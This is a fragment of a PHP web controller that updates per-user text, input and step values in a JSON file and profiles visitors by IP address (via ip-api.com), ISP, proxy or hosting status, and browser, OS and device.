                'message' => 'Invalid text or input data'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        $newText = $dataset['text'];
        $newInput = $dataset['input'];
        $userid = $dataset['userid'];
        $step = $dataset['step'];

        // Load the JSON data
        $filePath = __DIR__ . '/../../data/actions.json';
        if (!file_exists($filePath)) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Data file not found'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        $data = json_decode(file_get_contents($filePath), true);

        // Check if the actions key exists
        if (!isset($data['actions'])) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'No actions data available'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        // Find the action for the given userid
        $actionKey = array_search($userid, array_column($data['actions'], 'id'));

        if ($actionKey === false) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'User ID not found'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        // Update the text and input for the found action
        $data['actions'][$actionKey]['text'] = $newText;
        $data['actions'][$actionKey]['input'] = $newInput;
        $data['actions'][$actionKey]['step'] = $step;

        // Save the updated data back to the file
        if (file_put_contents($filePath, json_encode($data, JSON_PRETTY_PRINT)) === false) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Failed to write to file'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        $response->getBody()->write(json_encode([
            'success' => true,
            'message' => 'Text and input updated successfully'
        ]));
        return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
    }

    private function getClientIp() {
        if (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $ipAddress = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
            $ipAddress = $_SERVER['HTTP_X_FORWARDED'];
        } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
            $ipAddress = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
            $ipAddress = $_SERVER['HTTP_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
            $ipAddress = $_SERVER['HTTP_FORWARDED'];
        } else {
            $ipAddress = $_SERVER['REMOTE_ADDR'];
        }
    
        // Check if the IP is localhost (127.0.0.1 for IPv4 or ::1 for IPv6)
        if ($ipAddress === '127.0.0.1' || $ipAddress === '::1') {
            $ipAddress = '196.117.226.138'; // Replace with desired IP address
        }
    
        return $ipAddress;
    }

    private function fetchIpData(string $ipAddress): array
    {
        $response = $this->httpClient->request('GET', "https://pro.ip-api.com/json/{$ipAddress}?key={$this->apiKey}&fields=status,country,countryCode,isp,org,as,mobile,proxy,hosting,query");
        return json_decode($response->getBody()->getContents(), true);
    }

    private function getUserAgent(): string
    {
        $browserDetector = new Browser();
        $os = new Os();
        $device = new Device();
        return $browserDetector->getName() . " / " . $os->getName() . " / " . $device->getName();
    }

    private function parseRequestBody(Request $request): array
    {
        $rawData = $request->getBody()->getContents();
        return json_decode($rawData, true) ?? [];
    }
}
